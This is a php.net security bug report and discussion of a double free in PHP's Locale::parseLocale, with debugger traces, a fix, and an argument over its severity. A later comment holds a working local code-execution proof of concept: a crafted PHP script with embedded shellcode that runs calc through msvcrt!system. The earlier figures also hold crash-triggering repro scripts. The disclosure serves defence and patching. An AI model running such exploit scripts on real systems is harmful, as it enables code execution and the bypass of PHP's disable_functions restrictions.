php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #67349 Locale::parseLocale Double Free
Submitted: 2014-05-28 01:24 UTC Modified: 2014-07-15 23:24 UTC
From: john dot leitch5 at gmail dot com Assigned: stas (profile)
Status: Closed Package: intl (PECL)
PHP Version: 5.5.12 OS: Windows 8
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: john dot leitch5 at gmail dot com
New email:
PHP Version: OS:

 

 [2014-05-28 01:24 UTC] john dot leitch5 at gmail dot com
Description:
------------
PHP 5.5.12 suffers from a memory corruption vulnerability that could potentially be exploited to achieve remote code execution. The vulnerability exists due to inconsistent behavior in the get_icu_value_internal function of ext\intl\locale\locale_methods.c. In most cases, get_icu_value_internal allocates memory that the caller is expected to free. However, if the first argument, loc_name, satisfies the conditions specified by the isIDPrefix macro (figure 1), and fromParseLocal is true, loc_name itself is returned. If a caller abides by contract and frees the return value of such a call, then the pointer passed via loc_name is freed again elsewhere, a double free occurs.

Figure 1. Macros used by get_icu_value_internal.
#define isIDSeparator(a) (a == '_' || a == '-')
[...]
#define isPrefixLetter(a) ((a=='x')||(a=='X')||(a=='i')||(a=='I'))
[...]
#define isIDPrefix(s) (isPrefixLetter(s[0])&&isIDSeparator(s[1]))

The zif_locale_parse function, which is exported to PHP as Locale::parseLocale, makes a call to get_icu_value_internal with potentially untrusted data. By passing a specially crafted locale (figure 2), remote code execution may be possible. The exploitability of this vulnerability is dependent on the attack surface of a given application. In instances where the locale string is exposed as a user configuration setting, it may be possible to achieve either pre- or post-authentication remote code execution. In other scenarios this vulnerability may serve as a means to achieve privilege escalation.

Figure 2. A call to Locale::parseLocale that triggers the exploitable condition.
Locale::parseLocale("x-AAAAAA");

Details for the two frees are shown in figures 3 and 4.

Figure 3. The first free.
0:000> kP
ChildEBP RetAddr  
016af25c 7146d7a3 php5ts!_efree(
			void * ptr = 0x030bf1e0)+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]
016af290 7146f6a2 php_intl!add_array_entry(
			char * loc_name = 0x0179028c "", 
			struct _zval_struct * hash_arr = 0x00000018, 
			char * key_name = 0x71489e60 "language", 
			void *** tsrm_ls = 0x7146f6a2)+0x1d3 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1073]
016af2b0 0f0c15ab php_intl!zif_locale_parse(
			int ht = 0n1, 
			struct _zval_struct * return_value = 0x030bf4c8, 
			struct _zval_struct ** return_value_ptr = 0x00000000, 
			struct _zval_struct * this_ptr = 0x00000000, 
			int return_value_used = 0n1, 
			void *** tsrm_ls = 0x0178be38)+0xb2 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1115]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
			struct _zend_execute_data * execute_data = 0x0179028c, 
			void *** tsrm_ls = 0x00000018)+0x1cb [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 551]
016af358 0f114757 php5ts!execute_ex(
			struct _zend_execute_data * execute_data = 0x030bef20, 
			void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
			struct _zend_op_array * op_array = 0x030be5f0, 
			void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
			int type = 0n8, 
			void *** tsrm_ls = 0x00000001, 
			struct _zval_struct ** retval = 0x00000000, 
			int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
			struct _zend_file_handle * primary_file = <Memory access error>, 
			void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
			int argc = 0n24707724, 
			char ** argv = 0x00000018, 
			void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
			int argc = 0n2, 
			char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_efree+0x49 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1ef9 732e            jae     php5ts!_efree+0x79 (0f0b1f29)
0f0b1efb 817e4c00000200  cmp     dword ptr [esi+4Ch],20000h
0f0b1f02 7325            jae     php5ts!_efree+0x79 (0f0b1f29)
0f0b1f04 8bc2            mov     eax,edx
0f0b1f06 c1e803          shr     eax,3
0f0b1f09 8d0c86          lea     ecx,[esi+eax*4]
0f0b1f0c 8b4148          mov     eax,dword ptr [ecx+48h]
0f0b1f0f 894708          mov     dword ptr [edi+8],eax
0:000> u eip
php5ts!_efree+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1f12 897948          mov     dword ptr [ecx+48h],edi
0f0b1f15 01564c          add     dword ptr [esi+4Ch],edx
0f0b1f18 a148456a0f      mov     eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1f1d 85c0            test    eax,eax
0f0b1f1f 0f851d040000    jne     php5ts!_efree+0x492 (0f0b2342)
0f0b1f25 5f              pop     edi
0f0b1f26 5e              pop     esi
0f0b1f27 59              pop     ecx
0:000> ?edi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc edi+8
030bf1e0  00000000 41414141 00000000 00000000  ....AAAA........
030bf1f0  00000011 00000019 61636f6c 0300656c  ........locale..
030bf200  00000011 00000011 6e697270 00725f74  ........print_r.
030bf210  00000109 00000011 030bf320 030bf210  ........ .......
030bf220  01790494 00000000 00000000 00000000  ..y.............
030bf230  00000000 00000000 00000000 00000000  ................
030bf240  00000000 00000000 00000000 00000000  ................
030bf250  00000000 00000000 00000000 00000000  ................


Figure 4. The second free.
0:000> kP
ChildEBP RetAddr  
016af2c4 0f0c1813 php5ts!_zval_dtor_func(
			struct _zval_struct * zvalue = 0x030bf3f8)+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
			struct _zend_execute_data * execute_data = 0x0179028c, 
			void *** tsrm_ls = 0x00000018)+0x433 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 642]
016af358 0f114757 php5ts!execute_ex(
			struct _zend_execute_data * execute_data = 0x030bef20, 
			void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
			struct _zend_op_array * op_array = 0x030be5f0, 
			void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
			int type = 0n8, 
			void *** tsrm_ls = 0x00000001, 
			struct _zval_struct ** retval = 0x00000000, 
			int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
			struct _zend_file_handle * primary_file = <Memory access error>, 
			void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
			int argc = 0n24707724, 
			char ** argv = 0x00000018, 
			void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
			int argc = 0n2, 
			char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_zval_dtor_func+0x5e [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
0f0b1cae 0f8394000000    jae     php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
0f0b1cb4 817f4c00000200  cmp     dword ptr [edi+4Ch],20000h
0f0b1cbb 0f8387000000    jae     php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
0f0b1cc1 8bc2            mov     eax,edx
0f0b1cc3 c1e803          shr     eax,3
0f0b1cc6 8d0c87          lea     ecx,[edi+eax*4]
0f0b1cc9 8b4148          mov     eax,dword ptr [ecx+48h]
0f0b1ccc 894608          mov     dword ptr [esi+8],eax
0:000> u eip
php5ts!_zval_dtor_func+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
0f0b1ccf 897148          mov     dword ptr [ecx+48h],esi
0f0b1cd2 01574c          add     dword ptr [edi+4Ch],edx
0f0b1cd5 a148456a0f      mov     eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1cda 85c0            test    eax,eax
0f0b1cdc 0f8591010000    jne     php5ts!_zval_dtor_func+0x223 (0f0b1e73)
0f0b1ce2 5f              pop     edi
0f0b1ce3 5e              pop     esi
0f0b1ce4 c3              ret
0:000> ?esi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc esi+8
030bf1e0  030bf1d8 41414141 00000000 00000000  ....AAAA........
030bf1f0  00000011 00000019 61636f6c 0300656c  ........locale..
030bf200  00000011 00000011 6e697270 00725f74  ........print_r.
030bf210  00000109 00000011 030bf320 030bf210  ........ .......
030bf220  01790494 00000000 00000000 00000000  ..y.............
030bf230  00000000 00000000 00000000 00000000  ................
030bf240  00000000 00000000 00000000 00000000  ................
030bf250  00000000 00000000 00000000 00000000  ................

The outcome of the double free depends on the arrangement of the heap. A simple script that produces a variety of read access violations is shown in figure 5, and another that reliably produces data execution prevention access violations is provided in figure 6.

Figure 5. A script that produces a variety of AVs.
<?php
Locale::parseLocale("x-AAAAAA");
$foo = new SplTempFileObject();
?>

Figure 6. A script that reliably produces DEPAVs.
<?php
Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG");
$pe = new SQLite3($pe, new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator((object)$G16 = new Directory(), DatePeriod::__set_state()))), (array)$h453 = new ReflectionMethod(($pe[TRUE]), $G16->rewind((array)"mymqaodaokubaf")), ($h453->getShortName() === null), ($I68TB = new InvalidArgumentException($H03 = new DOMStringList(), null, (string)MessageFormatter::create($sC = new AppendIterator(), new DOMUserDataHandler())) & null)))}), ($h453[(bool)DateInterval::__set_state()]), new PDOStatement()), TRUE);
$H03->item((unset)$gn = new SplStack());
$sC->valid();

?>

To fix the vulnerability, get_icu_value_internal should be modified to return a copy of loc_name rather than loc_name itself. This can be done easily using the estrdup function. The single line fix is shown in figures 7 and 8.

Figure 7. The original code.
		if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
			if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
				return (char *)loc_name;
			}
		}
		
Figure 8. The fixed code.
		if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
			if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
				return estrdup(loc_name);
			}
		}


Patches

bug67349-patch (last revision 2014-06-08 19:57 UTC by stas@php.net)

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2014-06-08 19:57 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: bug67349-patch
Revision:   1402257425
URL:        https://bugs.php.net/patch-display.php?bug=67349&patch=bug67349-patch&revision=1402257425
 [2014-06-27 23:16 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2014-06-27 23:16 UTC] stas@php.net
fixed in 5.4.30/5.5.14
 [2014-06-28 00:14 UTC] vdanen@php.net
I was looking at this and I don't think this is a security flaw or, if it were, it would require some pretty poorly written code to exploit it.  For instance, setting 'Locale::parseLocale("x-AAAAAA");' would require you to take untrusted user input and use it directly (like Locale::parseLocale($_GET['locale'] or some such).  It's pretty standard that using un-sanitized user input like this is bad form.

However, it's possible that a script author could allow a user to set a locale and give them a few options of locales they support (doubtful that it would be an arbitrary free-text field since you could pick a german locale, but if there were no german translations it would look pretty odd), so it would likely be a pick-list (<Select .. />).  If the script author allowed the user to pick from a list of locales and then didn't validate that prior to using it (make sure if the user provided 'jerk' as a locale that we actually gave them that option), then that pretty much violates the principle of "trust nothing a user provides...ever".

Given that, the script would be the flawed program here (using untrusted/unvalidated input), not PHP.
 [2014-06-28 01:38 UTC] john dot leitch5 at gmail dot com
To be clear, you're asserting that scripters who expose Locale::parseLocale to the attack surface are responsible for any risks introduced by this bug, correct? If so, that is an unreasonable expectation.

First, how exactly are consumers of Locale::parseLocale supposed to know they must guard against memory corruption? The documentation does not mention the matter, and most people writing PHP aren't looking for such issues. PHP handles memory management, so it's a reasonable assumption that the burden of avoiding memory corruption rests on PHP itself.

Second, let's say that we're regular PHP programmers that have discovered this bug, and have taken it upon ourselves to sanitize against it in our web application (yikes). How, exactly, would we go about this? This isn't XSS or SQLI, we're talking about a whole different class of bugs, and any attempts at mitigation in the scripting layer are dubious. Further, if we are to code defensively, does this mean we must assume that all functions provided by PHP could lead to memory corruption?

The matter distills to this: if a developer passes untrusted data to Locale::parseLocale, and takes all precautions to mitigate the regular suspects (XSS, XSRF, SQLI, etc), their code is not at fault for any problems introduced by this bug. Instead, as I mentioned prior, the burden rests on the developers of the internationalization extensions.
 [2014-06-30 20:23 UTC] dmitry@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=5ecee6ebce576142fd13d2d1ec0bd52dac3086f9
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-06-30 20:23 UTC] dmitry@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=844a046945c6cf2e44f8cd612d48321c9f799bef
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-06-30 20:23 UTC] dmitry@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=aef6432fbe9cd9b75e29acda226c34d57e434dec
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-07-02 01:41 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=844a046945c6cf2e44f8cd612d48321c9f799bef
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-07-02 01:41 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=aef6432fbe9cd9b75e29acda226c34d57e434dec
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-07-02 08:26 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=844a046945c6cf2e44f8cd612d48321c9f799bef
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-07-02 08:26 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=aef6432fbe9cd9b75e29acda226c34d57e434dec
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-07-02 08:33 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=5ecee6ebce576142fd13d2d1ec0bd52dac3086f9
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-07-02 08:33 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=844a046945c6cf2e44f8cd612d48321c9f799bef
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-07-02 08:34 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=aef6432fbe9cd9b75e29acda226c34d57e434dec
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-07-04 01:08 UTC] vdanen@php.net
Quoting the pertinent part:

> The matter distills to this: if a developer passes untrusted data to Locale::parseLocale, and takes all precautions to mitigate the regular suspects (XSS, XSRF, SQLI, etc), their code is not at fault for any problems introduced by this bug. Instead, as I mentioned prior, the burden rests on the developers of the internationalization extensions.

Exactly right.  Yes, the memory corruption is there and it most definitely is a bug that requires fixing (and is fixed).  However, it's a programming language.  It's 2014.  People should be coding defensively and one of those is "do not trust users or their input".  If someone writes an application that doesn't do that, despite _all_ of the information about defensive coding and the problems that come of not doing it, then I would absolutely argue that it is the author of the program at fault.

No one is arguing the bug -- it's been fixed.  The point made was that this is not a security flaw in PHP.  If there is a security flaw here, it would be in an application that happily takes input from a user and does "whatever" with it.  In this case, it's taking user input X and blindly stuffing it into a function that the author probably only meant A, B, and C to go into.  If that's the case, then the author should be making sure that the user provided A, B, or C and throw an error when they don't.
 [2014-07-04 02:52 UTC] john dot leitch5 at gmail dot com
You've failed to address most of the points I've made, and the guidance you're providing is not actionable.

If I'm understanding you correctly, you're claiming that those affected are responsible because they did not perform whitelist validation on values passed to parseLocale. Let's try to flesh this out into actionable secure coding practices. Untrusted data is bad, that is well known. Let's assume that all standard web application mitigations are in place. We also know sanitization might not be enough here--memory corruption is tricky. This leaves us with the aforementioned whitelist validation. Great. So what criteria do we use when determining where to apply whitelist validation to prevent memory corruption? Are we supposed to assume all PHP functions are vulnerable, and thus all need to be protected by such validation? That's not desirable or reasonable, so let's try to scope it down. We need to protect some functions from memory corruption attacks. Which ones? Does the documentation provide a list of functions prone to memory corruption due to flaws in PHP? Is there a call we can make to acquire the necessary metadata, perhaps something like doesCorruptMemory()? What if we cannot use whitelist validation--is it still our fault if memory corruption occurs? In such cases, are we still expected to defend against double frees, use after frees, integer overflows, buffer overflows, buffer underflows, etc.?

Do you see where I'm going with this? It's easy to tout ways in which this bug might be mitigated within a script once the bug is known, but how many of your users were prescient enough to know? None, most likely, and those who did mitigate this did so by chance. As you said, PHP is a programming language. People are going to do strange things with it (though I do not find the scenarios I previously described strange), and the PHP developers should code defensively by assuming every function may end up on the attack surface. Those that must never be exposed should be noted in the documentation with large, bright warnings, but I seriously doubt parseLocale would fall in that category given its innocuous nature.

Finally, this conversation has focused solely on remote code execution, but that's not the only threat. This bug could easily be used to achieve local privilege escalation in environments where the disable_functions and disable_classes php.ini settings are relied upon.
 [2014-07-15 14:54 UTC] vdanen@php.net
I think you've entirely missed my point.  I wasn't talking about defensive coding to guard against memory corruption flaws.  I was pointing out that defensive coding (i.e. you create a list of user-selectable choices, then you make sure they actually picked one and didn’t stuff their own value in it which, incidentally, isn't an unreasonable thing for a good programmer to do) would render this not a security issue.

At any rate, discussing this further is pointless.  The only result of whether or not it is deemed a security flaw is whether or not it gets assigned a CVE.  Our point of view is that this is not a security flaw in PHP because good/reasonable/defensible coding would make it a total non-issue.  The point of it being a _bug_ is undisputed (incidentally, it _is_ fixed.. it's not like we said "not an issue, nothing to see here, don't bother fixint it"... it _is_ fixed).

I see no point in discussing this further.  We have differing opinions which is fine.  The end result is the same: it is fixed which is the biggest issue, right?
 [2014-07-15 22:51 UTC] john dot leitch5 at gmail dot com
To prove this is in fact a security issue, I have developed a local code execution exploit. Such an exploit could, as I previously mentioned, be used to further compromise a system where arbitrary PHP execution is possible, but limited by php.ini settings such as disable_functions or disable_classes. While an exploit like this is less critical than remote code execution, I chose to take this approach for the sake of brevity; this only took a couple hours to develop.

The exploit itself is based on the DEPAV repro file I provided with my original report. Upon further analyzing the exception, I noticed that the PHP engine was attempting to execute a variable name as if it was machine code. For reasons unknown, this behavior was only exhibited when the variable name was <= 3 characters, so it wasn't possible to execute shellcode in place.  That wasn't a problem, however, as I was able to insert a two-byte relative jmp instruction (\xeb\x9a), which jumped to some shellcode stashed away at the bottom of the script (\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0).

Here's the script (note that there may be some encoding issues):

<?php
Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG");
$pe = new SQLite3( new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator(${"\xeb\x9a\x22"}=new Directory()))), (array)$h453 = new ReflectionMethod(), (null)))}), null, null), TRUE);
echo 'fooooooooooooooo';
?>
<?php 1ÉQhcalcT¸Ç“ÂwÿА ?>

The script, along with a batch file to assist with repro, can be downloaded here: http://autosectools.com/ParseLocaleLocalCodeExecutionPoC.zip

The proof of concept does not utilize any mitigation bypasses, and the shellcode contains hardcoded addresses that only work with Windows XP SP3 EN. However, with more work, this PoC could be improved to increase compatibility and reliability.  Here's the disassembly of the shellcode prior to successful exploitation of PHP 5.3:

eax=0116db64 ebx=00000003 ecx=0116bac4 edx=00395b38 esi=0116bab8 edi=0116db40
eip=0116db00 esp=00c1f658 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0116db00 cc              int     3
0:000> u
0116db00 cc              int     3
0116db01 31c9            xor     ecx,ecx
0116db03 51              push    ecx
0116db04 6863616c63      push    636C6163h
0116db09 54              push    esp
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - 
0116db0a b8c793c277      mov     eax,offset msvcrt!system (77c293c7)
0116db0f ffd0            call    eax
0116db11 90              nop

And here's a screenshot of successful code execution: http://autosectools.com/LocalCalc.png

I hope we can now agree that this bug is not without security implications.
 [2014-07-15 23:24 UTC] stas@php.net
I'm not sure if there's a point to this given this issue was fixed, but any user able to run arbitrary code in PHP is presumed to have full access to the system in question under the same user. There are just too many libraries, dependencies, etc. to assume otherwise.
 [2014-07-15 23:39 UTC] john dot leitch5 at gmail dot com
If that's the case, disable_functions and disable_classes should be deprecated in a manner similar to safe mode. It's not uncommon to see disable_* directives used in an attempt to secure hosting environments. If these directives are useless, the relevant documentation should be updated at least. It's a bit misleading.
 
"Disable_functions string
This directive allows you to disable certain functions for security reasons."

http://php.net/manual/en/ini.core.php#ini.disable-functions
 [2014-07-29 21:56 UTC] johannes@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8ab4e2e90de44db0ee56b53e956b2b23f3c1cfa8
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-08-14 15:34 UTC] johannes@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8ab4e2e90de44db0ee56b53e956b2b23f3c1cfa8
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-08-14 19:32 UTC] dmitry@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8ab4e2e90de44db0ee56b53e956b2b23f3c1cfa8
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-10-07 23:13 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src-security.git;a=commit;h=8ab4e2e90de44db0ee56b53e956b2b23f3c1cfa8
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-10-07 23:14 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src-security.git;a=commit;h=aef6432fbe9cd9b75e29acda226c34d57e434dec
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-10-07 23:25 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src-security.git;a=commit;h=8ab4e2e90de44db0ee56b53e956b2b23f3c1cfa8
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2014-10-07 23:25 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src-security.git;a=commit;h=aef6432fbe9cd9b75e29acda226c34d57e434dec
Log: Fix bug #67349: Locale::parseLocale Double Free
 [2016-07-20 11:40 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=5ecee6ebce576142fd13d2d1ec0bd52dac3086f9
Log: Fix bug #67349: Locale::parseLocale Double Free
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Dec 05 03:01:30 2024 UTC